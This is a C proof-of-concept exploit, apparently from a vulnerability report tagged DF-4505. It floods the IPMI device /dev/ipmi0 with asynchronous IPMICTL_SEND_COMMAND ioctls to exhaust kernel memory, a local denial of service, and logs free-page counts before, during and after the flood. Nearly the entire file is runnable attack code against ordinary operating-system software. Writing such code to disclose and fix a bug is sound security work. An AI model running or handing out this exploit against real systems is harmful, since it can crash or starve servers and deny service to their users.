DF-4505 / flood.c
/* * DF-4505 PoC: unbounded in-flight ipmi_request backlog via * IPMICTL_SEND_COMMAND flood -> kernel kmem exhaustion (local DoS). * * The ioctl enqueues each request asynchronously (ipmi.c:401-416); * a single kthread (kcs_loop) drains them serially. There is no cap * on the per-device outstanding request count, and each request * kmallocs sizeof(struct ipmi_request) + data_len + IPMI_MAX_RX bytes. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <sys/ipmi.h> static unsigned long freepages(void) { unsigned long v = 0; size_t len = sizeof(v); if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) != 0) return (unsigned long)-1; return v; } static void dumpmem(const char *tag) { printf("%-28s v_free_count = %lu pages (%lu MB)\n", tag, freepages(), freepages() * (unsigned long)getpagesize() / 1024 / 1024); fflush(stdout); } int main(int argc, char **argv) { struct ipmi_req req; struct ipmi_system_interface_addr saddr; unsigned char data[65536]; long n, i, datalen; int fd, error, page = getpagesize(); if (argc < 3) { fprintf(stderr, "usage: %s <count> <datalen>\n", argv[0]); exit(2); } n = atol(argv[1]); datalen = atol(argv[2]); if (datalen < 0 || datalen > 65535) datalen = 0; memset(data, 0x41, sizeof(data)); memset(&saddr, 0, sizeof(saddr)); saddr.addr_type = IPMI_SYSTEM_INTERFACE_ADDR_TYPE; saddr.channel = IPMI_BMC_CHANNEL; fd = open("/dev/ipmi0", O_RDWR); if (fd < 0) { fprintf(stderr, "open /dev/ipmi0: %s\n", strerror(errno)); exit(1); } printf("fd=%d pid=%d requests=%ld datalen=%ld page=%d\n", fd, getpid(), n, datalen, page); dumpmem("baseline"); for (i = 0; i < n; i++) { memset(&req, 0, sizeof(req)); req.addr = (unsigned char *)&saddr; req.addr_len = sizeof(saddr); req.msgid = i; req.msg.netfn = IPMI_APP_REQUEST; req.msg.cmd = IPMI_GET_DEVICE_ID; req.msg.data_len = datalen; req.msg.data = data; error = ioctl(fd, IPMICTL_SEND_COMMAND, &req); if (error != 0) { printf("send %ld failed: %s\n", i, strerror(errno)); break; } if ((i % 5000) == 4999) { printf("sent %ld\n", i + 1); dumpmem(" mid-flood"); } } printf("flood done at i=%ld (error=%d errno=%d)\n", i, error, errno); dumpmem("after flood (fd open)"); sleep(20); dumpmem("after 20s idle (fd open)"); close(fd); printf("fd closed; dtor purges backlog\n"); sleep(10); dumpmem("after close+10s"); return 0; } |